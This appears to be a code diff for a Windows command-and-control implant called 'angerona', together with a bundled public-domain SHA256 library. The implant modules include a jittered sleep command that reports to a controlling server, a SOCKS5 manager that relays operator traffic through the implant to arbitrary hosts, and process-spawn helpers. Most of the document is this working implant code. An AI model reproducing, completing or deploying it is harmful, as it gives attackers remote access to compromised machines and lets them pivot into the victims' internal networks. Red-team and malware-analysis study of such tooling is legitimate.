while (Context->curlen < 64) {
|
||||
Context->buf[Context->curlen++] = (uint8_t)0;
|
||||
}
|
||||
TransformFunction(Context, Context->buf);
|
||||
Context->curlen = 0;
|
||||
}
|
||||
|
||||
// Pad up to 56 bytes of zeroes
|
||||
while (Context->curlen < 56) {
|
||||
Context->buf[Context->curlen++] = (uint8_t)0;
|
||||
}
|
||||
|
||||
// Store length
|
||||
STORE64H(Context->length, Context->buf + 56);
|
||||
TransformFunction(Context, Context->buf);
|
||||
|
||||
// Copy output
|
||||
for (i = 0; i < 8; i++) {
|
||||
STORE32H(Context->state[i], Digest->bytes + (4 * i));
|
||||
}
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// Sha256Calculate
|
||||
//
|
||||
// Combines Sha256Initialise, Sha256Update, and Sha256Finalise into one
|
||||
// function. Calculates the SHA256 hash of the buffer.
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void Sha256Calculate(void const* Buffer, // [in]
|
||||
uint32_t BufferSize, // [in]
|
||||
SHA256_HASH* Digest // [in]
|
||||
) {
|
||||
Sha256Context context;
|
||||
|
||||
Sha256Initialise(&context);
|
||||
Sha256Update(&context, Buffer, BufferSize);
|
||||
Sha256Finalise(&context, Digest);
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// WjCryptLib_Sha256
|
||||
//
|
||||
// Implementation of SHA256 hash function.
|
||||
// Original author: Tom St Denis, tomstdenis@gmail.com, http://libtom.org
|
||||
// Modified by WaterJuice retaining Public Domain license.
|
||||
//
|
||||
// This is free and unencumbered software released into the public domain -
|
||||
// June 2013 waterjuice.org
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
#ifndef _SHA256_H_
|
||||
#define _SHA256_H_
|
||||
|
||||
#pragma once
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// IMPORTS
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
|
||||
typedef struct {
|
||||
uint64_t length;
|
||||
uint32_t state[8];
|
||||
uint32_t curlen;
|
||||
uint8_t buf[64];
|
||||
} Sha256Context;
|
||||
|
||||
#define SHA256_HASH_SIZE (256 / 8)
|
||||
|
||||
typedef struct {
|
||||
uint8_t bytes[SHA256_HASH_SIZE];
|
||||
} SHA256_HASH;
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// PUBLIC FUNCTIONS
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// Sha256Initialise
|
||||
//
|
||||
// Initialises a SHA256 Context. Use this to initialise/reset a context.
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void Sha256Initialise(Sha256Context* Context // [out]
|
||||
);
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// Sha256Update
|
||||
//
|
||||
// Adds data to the SHA256 context. This will process the data and update the
|
||||
// internal state of the context. Keep on calling this function until all the
|
||||
// data has been added. Then call Sha256Finalise to calculate the hash.
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void Sha256Update(Sha256Context* Context, // [in out]
|
||||
void const* Buffer, // [in]
|
||||
uint32_t BufferSize // [in]
|
||||
);
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// Sha256Finalise
|
||||
//
|
||||
// Performs the final calculation of the hash and returns the digest (32 byte
|
||||
// buffer containing 256bit hash). After calling this, Sha256Initialised must
|
||||
// be used to reuse the context.
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void Sha256Finalise(Sha256Context* Context, // [in out]
|
||||
SHA256_HASH* Digest // [out]
|
||||
);
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// Sha256Calculate
|
||||
//
|
||||
// Combines Sha256Initialise, Sha256Update, and Sha256Finalise into one
|
||||
// function. Calculates the SHA256 hash of the buffer.
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void Sha256Calculate(void const* Buffer, // [in]
|
||||
uint32_t BufferSize, // [in]
|
||||
SHA256_HASH* Digest // [in]
|
||||
);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,56 @@
|
||||
#include "sleep.h"
|
||||
#include "angerona.h"
|
||||
#include "socks_manager.h"
|
||||
|
||||
|
||||
BOOL sleep(PAnalizador argumentos) {
|
||||
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
UINT32 tiempoSleep = getInt32(argumentos);
|
||||
UINT32 maxVarianza = getInt32(argumentos);
|
||||
|
||||
if (maxVarianza < 1) {
|
||||
maxVarianza = 1;
|
||||
}
|
||||
|
||||
const int minVarianza = 1;
|
||||
const int rangoVarianza = maxVarianza / 2;
|
||||
int Rand = aleatorioInt32(0, rangoVarianza);
|
||||
tiempoSleep += Rand;
|
||||
|
||||
if (tiempoSleep < minVarianza) {
|
||||
tiempoSleep = minVarianza;
|
||||
}
|
||||
|
||||
if (angeronaConfig == NULL) {
|
||||
_err("Error: angeronaConfig no ha sido inicializado.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
_dbg("Tiempo Sleep antes: %d\n", angeronaConfig->tiempoSleep);
|
||||
|
||||
/* convertir a milisegundos */
|
||||
tiempoSleep = tiempoSleep * 1000;
|
||||
|
||||
/* Si el proxy SOCKS está activo, fuerza intervalos más cortos */
|
||||
if (socks_proxy_active) {
|
||||
_dbg("SOCKS activo → ajustando sleep corto dinámico");
|
||||
if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos
|
||||
}
|
||||
|
||||
angeronaConfig->tiempoSleep = tiempoSleep;
|
||||
|
||||
_dbg("Nuevo tiempoSleep configurado: %u ms", tiempoSleep);
|
||||
|
||||
/* respuesta al servidor */
|
||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaTarea, tareaUuid, FALSE);
|
||||
addInt32(respuestaTarea, tiempoSleep);
|
||||
mandarPaquete(respuestaTarea);
|
||||
liberarPaquete(respuestaTarea);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
#pragma once
|
||||
#ifndef SLEEP_H
|
||||
#define SLEEP_H
|
||||
|
||||
#include <windows.h>
|
||||
#include "paquete.h"
|
||||
#include "analizador.h"
|
||||
#include "comandos.h"
|
||||
#include "utils.h"
|
||||
#include "socks_manager.h" // <— añadido para acceder al flag socks_proxy_active
|
||||
|
||||
BOOL sleep(PAnalizador argumentos);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,527 @@
|
||||
#include "socks_manager.h"
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include "utils.h"
|
||||
#include <stdint.h>
|
||||
#include <errno.h>
|
||||
|
||||
#ifdef _WIN32
|
||||
//#include <winsock2.h>
|
||||
//#include <ws2tcpip.h>
|
||||
#pragma comment(lib,"Ws2_32.lib")
|
||||
typedef SOCKET sock_t;
|
||||
#define CLOSESOCK(s) closesocket(s)
|
||||
#else
|
||||
#include <unistd.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
typedef int sock_t;
|
||||
#define INVALID_SOCKET -1
|
||||
#define SOCKET_ERROR -1
|
||||
#define CLOSESOCK(s) close(s)
|
||||
#endif
|
||||
|
||||
|
||||
volatile int socks_proxy_active = 0; // Flag global de estado SOCKS
|
||||
|
||||
typedef struct conn_entry {
|
||||
uint32_t server_id;
|
||||
sock_t sock;
|
||||
struct conn_entry *next;
|
||||
int closed;
|
||||
} conn_entry_t;
|
||||
|
||||
static conn_entry_t *conn_list = NULL;
|
||||
#ifdef _WIN32
|
||||
static CRITICAL_SECTION conn_lock;
|
||||
#else
|
||||
static pthread_mutex_t conn_lock = PTHREAD_MUTEX_INITIALIZER;
|
||||
#endif
|
||||
|
||||
typedef struct outgoing_node {
|
||||
socks_msg_t msg;
|
||||
struct outgoing_node *next;
|
||||
} outgoing_node_t;
|
||||
static outgoing_node_t *out_head = NULL;
|
||||
static outgoing_node_t *out_tail = NULL;
|
||||
|
||||
#ifdef _WIN32
|
||||
static CRITICAL_SECTION out_lock;
|
||||
#else
|
||||
static pthread_mutex_t out_lock = PTHREAD_MUTEX_INITIALIZER;
|
||||
#endif
|
||||
|
||||
static void lock_init_once(void) {
|
||||
#ifdef _WIN32
|
||||
InitializeCriticalSection(&conn_lock);
|
||||
InitializeCriticalSection(&out_lock);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* === Inicialización / limpieza === */
|
||||
|
||||
void socks_manager_init(void) {
|
||||
_dbg("socks_manager_init()");
|
||||
lock_init_once();
|
||||
#ifdef _WIN32
|
||||
WSADATA wsa;
|
||||
WSAStartup(MAKEWORD(2,2), &wsa);
|
||||
#endif
|
||||
}
|
||||
|
||||
void socks_manager_cleanup(void) {
|
||||
_dbg("socks_manager_cleanup()");
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&conn_lock);
|
||||
#endif
|
||||
conn_entry_t *cur = conn_list;
|
||||
while (cur) {
|
||||
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
||||
conn_entry_t *n = cur->next;
|
||||
free(cur);
|
||||
cur = n;
|
||||
}
|
||||
conn_list = NULL;
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
DeleteCriticalSection(&conn_lock);
|
||||
DeleteCriticalSection(&out_lock);
|
||||
WSACleanup();
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
socks_proxy_active = 0;
|
||||
}
|
||||
|
||||
/* === Gestión de conexiones === */
|
||||
|
||||
static conn_entry_t* find_entry(uint32_t server_id) {
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&conn_lock);
|
||||
#endif
|
||||
conn_entry_t *cur = conn_list;
|
||||
while (cur) {
|
||||
if (cur->server_id == server_id) {
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
return cur;
|
||||
}
|
||||
cur = cur->next;
|
||||
}
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static conn_entry_t* create_entry(uint32_t server_id, sock_t s) {
|
||||
conn_entry_t *e = malloc(sizeof(conn_entry_t));
|
||||
if (!e) return NULL;
|
||||
e->server_id = server_id;
|
||||
e->sock = s;
|
||||
e->next = NULL;
|
||||
e->closed = 0;
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&conn_lock);
|
||||
#endif
|
||||
e->next = conn_list;
|
||||
conn_list = e;
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
_dbg("create_entry sid=%u sock=%d", server_id, (int)s);
|
||||
return e;
|
||||
}
|
||||
|
||||
static void remove_entry(uint32_t server_id) {
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&conn_lock);
|
||||
#endif
|
||||
conn_entry_t *cur = conn_list, *prev = NULL;
|
||||
while (cur) {
|
||||
if (cur->server_id == server_id) {
|
||||
if (prev) prev->next = cur->next;
|
||||
else conn_list = cur->next;
|
||||
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
||||
_dbg("remove_entry sid=%u", server_id);
|
||||
free(cur);
|
||||
break;
|
||||
}
|
||||
prev = cur;
|
||||
cur = cur->next;
|
||||
}
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* === Cola de salida === */
|
||||
|
||||
static void enqueue_outgoing(socks_msg_t *m) {
|
||||
_dbg("enqueue_outgoing: sid=%u exit=%d len=%zu", m->server_id, m->exit_flag, m->data_len);
|
||||
outgoing_node_t *n = malloc(sizeof(outgoing_node_t));
|
||||
memset(n,0,sizeof(*n));
|
||||
n->msg.server_id = m->server_id;
|
||||
n->msg.exit_flag = m->exit_flag;
|
||||
n->msg.data_len = m->data_len;
|
||||
if (m->data_len) {
|
||||
n->msg.data = malloc(m->data_len);
|
||||
memcpy(n->msg.data, m->data, m->data_len);
|
||||
} else n->msg.data = NULL;
|
||||
n->next = NULL;
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&out_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&out_lock);
|
||||
#endif
|
||||
if (!out_tail) out_head = out_tail = n;
|
||||
else { out_tail->next = n; out_tail = n; }
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&out_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&out_lock);
|
||||
#endif
|
||||
_dbg("Mensaje encolado OK (sid=%u)", m->server_id);
|
||||
}
|
||||
|
||||
/* === Volcado de cola de salida === */
|
||||
void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx) {
|
||||
_dbg("flush_outgoing: iniciando");
|
||||
if (!cb) {
|
||||
_err("ERROR: callback es NULL");
|
||||
return;
|
||||
}
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&out_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&out_lock);
|
||||
#endif
|
||||
outgoing_node_t *n = out_head;
|
||||
out_head = out_tail = NULL;
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&out_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&out_lock);
|
||||
#endif
|
||||
|
||||
int count = 0;
|
||||
while (n) {
|
||||
count++;
|
||||
_dbg("flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu)",
|
||||
count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len);
|
||||
outgoing_node_t *next = n->next;
|
||||
cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, ctx);
|
||||
if (n->msg.data) free(n->msg.data);
|
||||
free(n);
|
||||
n = next;
|
||||
}
|
||||
_dbg("flush_outgoing: completado (%d mensajes procesados)", count);
|
||||
}
|
||||
|
||||
/* === Base64 === */
|
||||
extern int base64_decode(const char *b64, unsigned char **out, size_t *out_len);
|
||||
extern int base64_encode(const unsigned char *data, size_t dlen, char **out_b64);
|
||||
|
||||
/* === Parseo SOCKS5 === */
|
||||
static int parse_socks5_connect(const unsigned char *data, size_t data_len, char *out_ip, size_t ip_sz, uint16_t *out_port) {
|
||||
if (data_len < 7) return -1;
|
||||
if (data[0] == 0x05) {
|
||||
if (data_len >= 10 && data[1] == 0x01 && data[2] == 0x00) {
|
||||
unsigned char atyp = data[3];
|
||||
if (atyp == 0x01 && data_len >= 10) {
|
||||
snprintf(out_ip, ip_sz, "%u.%u.%u.%u", data[4], data[5], data[6], data[7]);
|
||||
*out_port = (uint16_t)((data[8] << 8) | data[9]);
|
||||
return 0;
|
||||
} else if (atyp == 0x03) {
|
||||
unsigned int len = data[4];
|
||||
if (data_len >= 7 + len) {
|
||||
memcpy(out_ip, &data[5], len);
|
||||
out_ip[len] = 0;
|
||||
*out_port = (uint16_t)((data[5+len] << 8) | data[6+len]);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* === Thread lector === */
|
||||
#ifdef _WIN32
|
||||
DWORD WINAPI remote_reader_thread(LPVOID arg);
|
||||
#else
|
||||
static void* remote_reader_thread(void* arg);
|
||||
#endif
|
||||
|
||||
typedef struct reader_args {
|
||||
uint32_t server_id;
|
||||
sock_t s;
|
||||
} reader_args_t;
|
||||
|
||||
#ifdef _WIN32
|
||||
DWORD WINAPI remote_reader_thread(LPVOID arg) {
|
||||
reader_args_t *ra = (reader_args_t*)arg;
|
||||
uint32_t sid = ra->server_id;
|
||||
sock_t s = ra->s;
|
||||
free(ra);
|
||||
_dbg("Thread iniciado para sid=%u socket=%d", sid, (int)s);
|
||||
unsigned char buf[4096];
|
||||
int loop_count = 0;
|
||||
while (1) {
|
||||
loop_count++;
|
||||
_dbg("sid=%u loop #%d, llamando recv()...", sid, loop_count);
|
||||
int r = recv(s, (char*)buf, sizeof(buf), 0);
|
||||
_dbg("sid=%u recv() retornó r=%d", sid, r);
|
||||
if (r < 0) {
|
||||
int err = WSAGetLastError();
|
||||
_dbg(" WSAError=%d", err);
|
||||
}
|
||||
if (r <= 0) break;
|
||||
_dbg("sid=%u recibió %d bytes, encolando...", sid, r);
|
||||
socks_msg_t m = {sid, 0, buf, (size_t)r};
|
||||
enqueue_outgoing(&m);
|
||||
_dbg("sid=%u datos encolados OK", sid);
|
||||
}
|
||||
_dbg("sid=%u salió del loop, cerrando socket", sid);
|
||||
_dbg("reader sid=%u closing", sid);
|
||||
socks_msg_t m2 = {sid, 1, NULL, 0};
|
||||
enqueue_outgoing(&m2);
|
||||
CLOSESOCK(s);
|
||||
_dbg("Thread terminado para sid=%u", sid);
|
||||
return 0;
|
||||
}
|
||||
#else
|
||||
static void* remote_reader_thread(void* arg) {
|
||||
reader_args_t *ra = (reader_args_t*)arg;
|
||||
uint32_t sid = ra->server_id;
|
||||
sock_t s = ra->s;
|
||||
free(ra);
|
||||
unsigned char buf[4096];
|
||||
while (1) {
|
||||
ssize_t r = recv(s, buf, sizeof(buf), 0);
|
||||
if (r <= 0) break;
|
||||
_dbg("reader sid=%u recv=%zd", sid, r);
|
||||
socks_msg_t m = {sid, 0, buf, (size_t)r};
|
||||
enqueue_outgoing(&m);
|
||||
}
|
||||
_dbg("reader sid=%u closing", sid);
|
||||
socks_msg_t m2 = {sid, 1, NULL, 0};
|
||||
enqueue_outgoing(&m2);
|
||||
CLOSESOCK(s);
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* === Conexión remota === */
|
||||
typedef struct {
|
||||
uint32_t ipv4; // en network byte order
|
||||
uint16_t port; // en network byte order
|
||||
} socks_bound_addr_t;
|
||||
|
||||
static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t server_id, socks_bound_addr_t *bound) {
|
||||
_dbg("connect_and_spawn_reader: dest=%s port=%u sid=%u", dest, port, server_id);
|
||||
if (server_id == 0) {
|
||||
_err("ERROR: invalid server_id=%u", server_id);
|
||||
_dbg("invalid server_id=%u (ignored)", server_id);
|
||||
return -4;
|
||||
}
|
||||
_dbg("connect_and_spawn_reader dest=%s port=%u sid=%u", dest, port, server_id);
|
||||
struct sockaddr_in sa;
|
||||
sock_t s = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s == INVALID_SOCKET) {
|
||||
_err("ERROR: socket() failed");
|
||||
return -1;
|
||||
}
|
||||
_dbg("Socket creado OK");
|
||||
memset(&sa,0,sizeof(sa));
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
/* Intentar parsear como dirección IP usando inet_addr (compatible con MinGW) */
|
||||
unsigned long addr = inet_addr(dest);
|
||||
if (addr == INADDR_NONE) {
|
||||
/* No es una IP válida, intentar resolver como hostname */
|
||||
_dbg("Resolviendo hostname: %s", dest);
|
||||
struct hostent *h = gethostbyname(dest);
|
||||
if (!h) {
|
||||
_err("ERROR: gethostbyname failed");
|
||||
CLOSESOCK(s);
|
||||
return -2;
|
||||
}
|
||||
sa.sin_addr = *(struct in_addr*)h->h_addr;
|
||||
_dbg("Hostname resuelto OK");
|
||||
} else {
|
||||
/* Es una IP válida */
|
||||
sa.sin_addr.s_addr = addr;
|
||||
}
|
||||
_dbg("Conectando a %s:%u...", dest, port);
|
||||
if (connect(s, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
||||
_err("ERROR: connect() failed errno=%d", errno);
|
||||
_dbg("connect() failed errno=%d", errno);
|
||||
CLOSESOCK(s);
|
||||
return -3;
|
||||
}
|
||||
_dbg("Conexión exitosa!");
|
||||
|
||||
/* Guardar la dirección bound (la IP/puerto del destino conectado) */
|
||||
if (bound) {
|
||||
bound->ipv4 = sa.sin_addr.s_addr; // ya en network byte order
|
||||
bound->port = sa.sin_port; // ya en network byte order
|
||||
_dbg("Bound addr: %08X:%u", ntohl(bound->ipv4), ntohs(bound->port));
|
||||
}
|
||||
|
||||
/* timeout para evitar bloqueo indefinido */
|
||||
int timeout_ms = 15000; // 15s
|
||||
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms));
|
||||
_dbg("socket timeout set %d ms", timeout_ms);
|
||||
|
||||
_dbg("Creando entry para sid=%u", server_id);
|
||||
create_entry(server_id, s);
|
||||
#ifdef _WIN32
|
||||
reader_args_t *ra = malloc(sizeof(reader_args_t));
|
||||
ra->server_id = server_id; ra->s = s;
|
||||
_dbg("Creando thread lector para sid=%u", server_id);
|
||||
CreateThread(NULL,0, remote_reader_thread, ra, 0, NULL);
|
||||
#else
|
||||
pthread_t tid;
|
||||
reader_args_t *ra = malloc(sizeof(reader_args_t));
|
||||
ra->server_id = server_id; ra->s = s;
|
||||
pthread_create(&tid, NULL, remote_reader_thread, ra);
|
||||
pthread_detach(tid);
|
||||
#endif
|
||||
_dbg("connect_and_spawn_reader completado OK para sid=%u", server_id);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* === Procesamiento principal === */
|
||||
int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len) {
|
||||
_dbg("process_incoming: sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
|
||||
_dbg("incoming sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
|
||||
if (server_id == 0) {
|
||||
_err("ERROR: invalid server_id=%u", server_id);
|
||||
_dbg("invalid server_id=%u", server_id);
|
||||
return -4;
|
||||
}
|
||||
|
||||
if (exit_flag) {
|
||||
_dbg("Exit flag set, removiendo entry sid=%u", server_id);
|
||||
remove_entry(server_id);
|
||||
socks_msg_t m = {server_id, 1, NULL, 0};
|
||||
enqueue_outgoing(&m);
|
||||
return 0;
|
||||
}
|
||||
|
||||
conn_entry_t *e = find_entry(server_id);
|
||||
if (!e) {
|
||||
char dest[256]; uint16_t dport=0;
|
||||
int r = parse_socks5_connect(data, data_len, dest, sizeof(dest), &dport);
|
||||
_dbg("Nueva conexión: sid=%u parse_rc=%d dest=%s port=%u", server_id, r, dest, dport);
|
||||
_dbg("sid=%u new conn parse_rc=%d dest=%s port=%u", server_id, r, dest, dport);
|
||||
if (r != 0) return -1;
|
||||
|
||||
socks_bound_addr_t bound;
|
||||
memset(&bound, 0, sizeof(bound));
|
||||
int rc = connect_and_spawn_reader(dest, dport, server_id, &bound);
|
||||
_dbg("connect_and_spawn_reader rc=%d", rc);
|
||||
_dbg("connect_and_spawn_reader rc=%d", rc);
|
||||
if (rc != 0) {
|
||||
_err("ERROR: connect_and_spawn_reader falló con rc=%d", rc);
|
||||
return -2;
|
||||
}
|
||||
|
||||
/* Construir respuesta SOCKS5 con bound address real */
|
||||
unsigned char reply[10];
|
||||
reply[0] = 0x05; // SOCKS5
|
||||
reply[1] = 0x00; // Success
|
||||
reply[2] = 0x00; // Reserved
|
||||
reply[3] = 0x01; // IPv4
|
||||
/* Copiar IP (4 bytes en network byte order) */
|
||||
memcpy(&reply[4], &bound.ipv4, 4);
|
||||
/* Copiar puerto (2 bytes en network byte order) */
|
||||
memcpy(&reply[8], &bound.port, 2);
|
||||
|
||||
_dbg("Enviando respuesta SOCKS (10 bytes) a sid=%u con bound %u.%u.%u.%u:%u",
|
||||
server_id, reply[4], reply[5], reply[6], reply[7], ntohs(bound.port));
|
||||
|
||||
socks_msg_t m = {server_id, 0, reply, sizeof(reply)};
|
||||
enqueue_outgoing(&m);
|
||||
_dbg("Respuesta SOCKS encolada para sid=%u", server_id);
|
||||
return 0;
|
||||
} else {
|
||||
_dbg("Entry encontrada para sid=%u, enviando %zu bytes al socket remoto", server_id, data_len);
|
||||
if (e->sock != INVALID_SOCKET) {
|
||||
size_t total = 0;
|
||||
while (total < data_len) {
|
||||
_dbg("sid=%u enviando %zu bytes (total=%zu de %zu)", server_id, data_len - total, total, data_len);
|
||||
int w = send(e->sock, (const char*)(data + total), (int)(data_len - total), 0);
|
||||
_dbg("sid=%u send() retornó w=%d", server_id, w);
|
||||
if (w <= 0) {
|
||||
_err("send() falló para sid=%u, cerrando conexión", server_id);
|
||||
_dbg("send error sid=%u w=%d", server_id, w);
|
||||
remove_entry(server_id);
|
||||
socks_msg_t m = {server_id, 1, NULL, 0};
|
||||
enqueue_outgoing(&m);
|
||||
return -1;
|
||||
}
|
||||
total += w;
|
||||
}
|
||||
_dbg("sid=%u enviados %zu bytes OK", server_id, data_len);
|
||||
_dbg("sent %zu bytes sid=%u", data_len, server_id);
|
||||
return 0;
|
||||
} else {
|
||||
_err("socket inválido para sid=%u", server_id);
|
||||
return -2;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* === Stubs start/stop === */
|
||||
int socks_manager_start_proxy(uint16_t local_port) {
|
||||
socks_proxy_active = 1;
|
||||
_dbg("socks_manager_start_proxy port=%u (active)", local_port);
|
||||
(void)local_port;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int socks_manager_stop_proxy(void) {
|
||||
_dbg("socks_manager_stop_proxy()");
|
||||
socks_proxy_active = 0;
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&conn_lock);
|
||||
#endif
|
||||
conn_entry_t *cur = conn_list;
|
||||
while (cur) {
|
||||
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
||||
cur = cur->next;
|
||||
}
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
#ifndef SOCKS_MANAGER_H
|
||||
#define SOCKS_MANAGER_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
/* ==== Estructura básica de mensaje SOCKS ==== */
|
||||
typedef struct socks_msg_s {
|
||||
uint32_t server_id;
|
||||
int exit_flag;
|
||||
unsigned char *data;
|
||||
size_t data_len;
|
||||
} socks_msg_t;
|
||||
|
||||
/* ==== Callbacks ==== */
|
||||
typedef void (*socks_send_cb_t)(
|
||||
uint32_t server_id,
|
||||
int exit_flag,
|
||||
const unsigned char *data,
|
||||
size_t data_len,
|
||||
void *ctx
|
||||
);
|
||||
|
||||
/* ==== Estado global ==== */
|
||||
extern volatile int socks_proxy_active; // indica si el proxy SOCKS está activo
|
||||
|
||||
/* ==== API pública ==== */
|
||||
void socks_manager_init(void);
|
||||
void socks_manager_cleanup(void);
|
||||
|
||||
int socks_manager_process_incoming(
|
||||
uint32_t server_id,
|
||||
int exit_flag,
|
||||
const unsigned char *data,
|
||||
size_t data_len
|
||||
);
|
||||
|
||||
void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx);
|
||||
|
||||
int socks_manager_start_proxy(uint16_t local_port);
|
||||
int socks_manager_stop_proxy(void);
|
||||
|
||||
#endif /* SOCKS_MANAGER_H */
|
||||
@@ -0,0 +1,40 @@
|
||||
#include "spawn.h"
|
||||
#include "analizador.h"
|
||||
#include <versionhelpers.h>
|
||||
|
||||
#pragma warning(disable: 4996)
|
||||
|
||||
#define ProcessWow64Information 26
|
||||
|
||||
int osMajorVersion;
|
||||
|
||||
BOOL SelfIsWindowsVistaOrLater() {
|
||||
return IsWindowsVistaOrGreater();
|
||||
|
||||
}
|
||||
|
||||
typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_ISWOW64PROCESS)(_In_ HANDLE hProcess, _Out_ PBOOL Wow64Process);
|
||||
|
||||
|
||||
BOOL IsWow64ProcessEx(HANDLE hProcess) {
|
||||
HMODULE hModule = GetModuleHandleA("kernel32");
|
||||
FN_KERNEL32_ISWOW64PROCESS _IsWow64Process = (FN_KERNEL32_ISWOW64PROCESS)GetProcAddress(hModule, "IsWow64Process");
|
||||
if (_IsWow64Process == NULL)
|
||||
{
|
||||
_err("kernel32$IsWow64Process: IsWow64Process is NULL");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL bStatus = FALSE;
|
||||
BOOL Wow64Process = FALSE;
|
||||
|
||||
// bStatus = _IsWow64Process(hProcess, &Wow64Process);
|
||||
bStatus = _IsWow64Process(hProcess, &Wow64Process);
|
||||
if (!bStatus)
|
||||
{
|
||||
_err("_IsWow64Process failed with status code : %d", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return Wow64Process; // TODO bug ! - returns 0 (x86) for current process?
|
||||
}
|
||||
